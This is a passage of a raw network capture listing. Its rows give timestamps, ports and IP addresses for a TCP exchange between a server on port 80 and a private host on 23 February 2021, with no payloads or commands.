Feb 23, 2021 16:55:35.693447113 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.693541050 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.694575071 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.694606066 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.694678068 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.695574999 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.695595980 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.695656061 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.696727037 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.696748018 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.696821928 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.697776079 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.697796106 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.697870970 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.698806047 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.698837996 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.699074984 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.699907064 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.699924946 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.700002909 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.701613903 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.701630116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.701720953 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.703263998 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.703291893 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.703376055 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.705444098 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.705470085 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.705576897 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.706137896 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.706159115 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.706247091 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.706947088 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.706969976 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.707046032 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.709552050 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.709584951 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.709610939 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.709630966 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.709692955 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.732795954 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.732819080 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.733033895 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.733151913 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.733175039 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.733302116 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.733913898 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.733936071 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.734038115 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.734565973 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.734616041 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.734721899 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.736027956 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.736052036 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.736145973 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.736531019 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.736552000 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.737122059 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.737761021 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.737783909 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.737910032 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.739236116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.739254951 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.739573002 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.739911079 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.739934921 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.740012884 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.740987062 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.741010904 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.741118908 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.741276026 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.741300106 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.741370916 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.741993904 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.742021084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.742099047 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.742696047 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.742722034 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.742804050 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.743392944 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.743415117 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.743532896 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.744076967 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.744097948 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.744175911 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.744812965 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.744838953 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.744916916 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.745542049 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.745563984 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.745635986 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.746206045 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.746229887 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.746303082 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.746947050 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.746972084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.747698069 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.747730970 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.747771025 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.748358965 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.748380899 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.748410940 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.749058008 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.749090910 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.749147892 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.749809027 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.749830008 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.749893904 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.750461102 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.750483036 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.750530958 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.751117945 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.751137018 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.751193047 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.751805067 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.751827002 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.752007961 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.752533913 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.752557993 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.752665043 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.753225088 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.753247976 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.753318071 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.753933907 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.753961086 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.754126072 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.754709005 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.754735947 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.755348921 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.755371094 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.755429029 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.756002903 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.756016970 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.756081104 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.756727934 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.756745100 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.757122040 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.757469893 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.757492065 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.757551908 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.758150101 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.758172989 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.758228064 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.758838892 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.758861065 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.758913040 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.759507895 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.759531975 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.760243893 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.760276079 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.760303020 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.760962963 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.760997057 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.761018991 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.761614084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.761639118 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.761665106 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.762367010 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.762389898 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.762415886 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.763041019 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.763065100 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.763113976 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.763714075 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.763741970 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.763854980 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.764453888 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.764476061 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.764532089 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.765139103 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.765160084 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.765199900 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.765989065 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.766007900 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.766057014 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.766503096 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.766525030 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.766573906 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.767195940 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.767214060 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.767267942 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.768054962 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.768075943 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.768197060 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.768645048 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.768707037 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.768784046 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.769340992 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.769360065 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.769418955 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.770045042 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.770066977 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.770122051 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.770800114 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.770821095 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.771327019 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.771445990 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.771466017 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.771516085 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.772190094 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.772212982 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.772382975 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.772969007 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.772988081 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.773037910 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.773627043 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.773650885 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.773706913 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.774271965 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.774308920 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.774491072 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.774972916 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.774995089 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.775043964 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.775655985 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.775677919 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.775736094 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.776340961 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.776355982 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.776407957 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.777029991 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.777049065 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.777096033 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.777853966 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.777880907 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.778009892 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.778496027 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.778531075 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.778640985 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.779201984 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.779222965 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.779306889 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.779841900 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.779860973 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.779923916 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.780570030 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.780591965 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.780678988 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.781250000 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.781267881 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.781347036 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.781912088 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.781932116 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.782002926 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.782694101 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.782708883 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.782785892 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.783351898 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.783365965 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.783432007 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.784049034 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.784063101 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.784121990 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.784701109 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.784714937 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.784763098 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.785463095 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.785496950 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.785583019 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.786156893 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.786173105 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.786488056 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.786844015 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.786865950 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.786952972 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.787584066 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.787606001 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.787663937 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.788240910 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.788269997 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.788692951 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.788959980 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.788980007 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.789028883 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.789660931 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.789681911 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.789724112 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.790357113 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.790381908 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.790544033 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.791114092 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.791140079 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.791201115 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.791681051 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.791702986 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.791760921 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.792341948 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.792365074 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.792388916 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.792432070 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.793292046 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.793315887 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.793339014 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.793412924 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.794285059 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.794307947 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.794332027 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.794393063 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.795228958 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.795252085 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.795275927 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.795440912 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.796153069 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.796178102 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.796202898 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.796257019 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.797075987 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.797106981 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.797126055 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.797188997 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.798024893 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.798046112 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.798069954 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.798142910 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.799030066 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.799140930 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.799165964 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.799194098 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.799209118 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.799397945 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.799998999 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.800023079 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.800048113 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.800085068 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.800875902 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.800899029 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.800918102 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.800947905 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.801691055 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.801709890 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.801733971 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.801778078 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.802512884 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.802536011 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.802560091 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.802598953 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:35.803275108 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.803297997 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.803323030 CET	80	49168	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:35.803363085 CET	49168	80	192.168.2.22	172.67.172.17
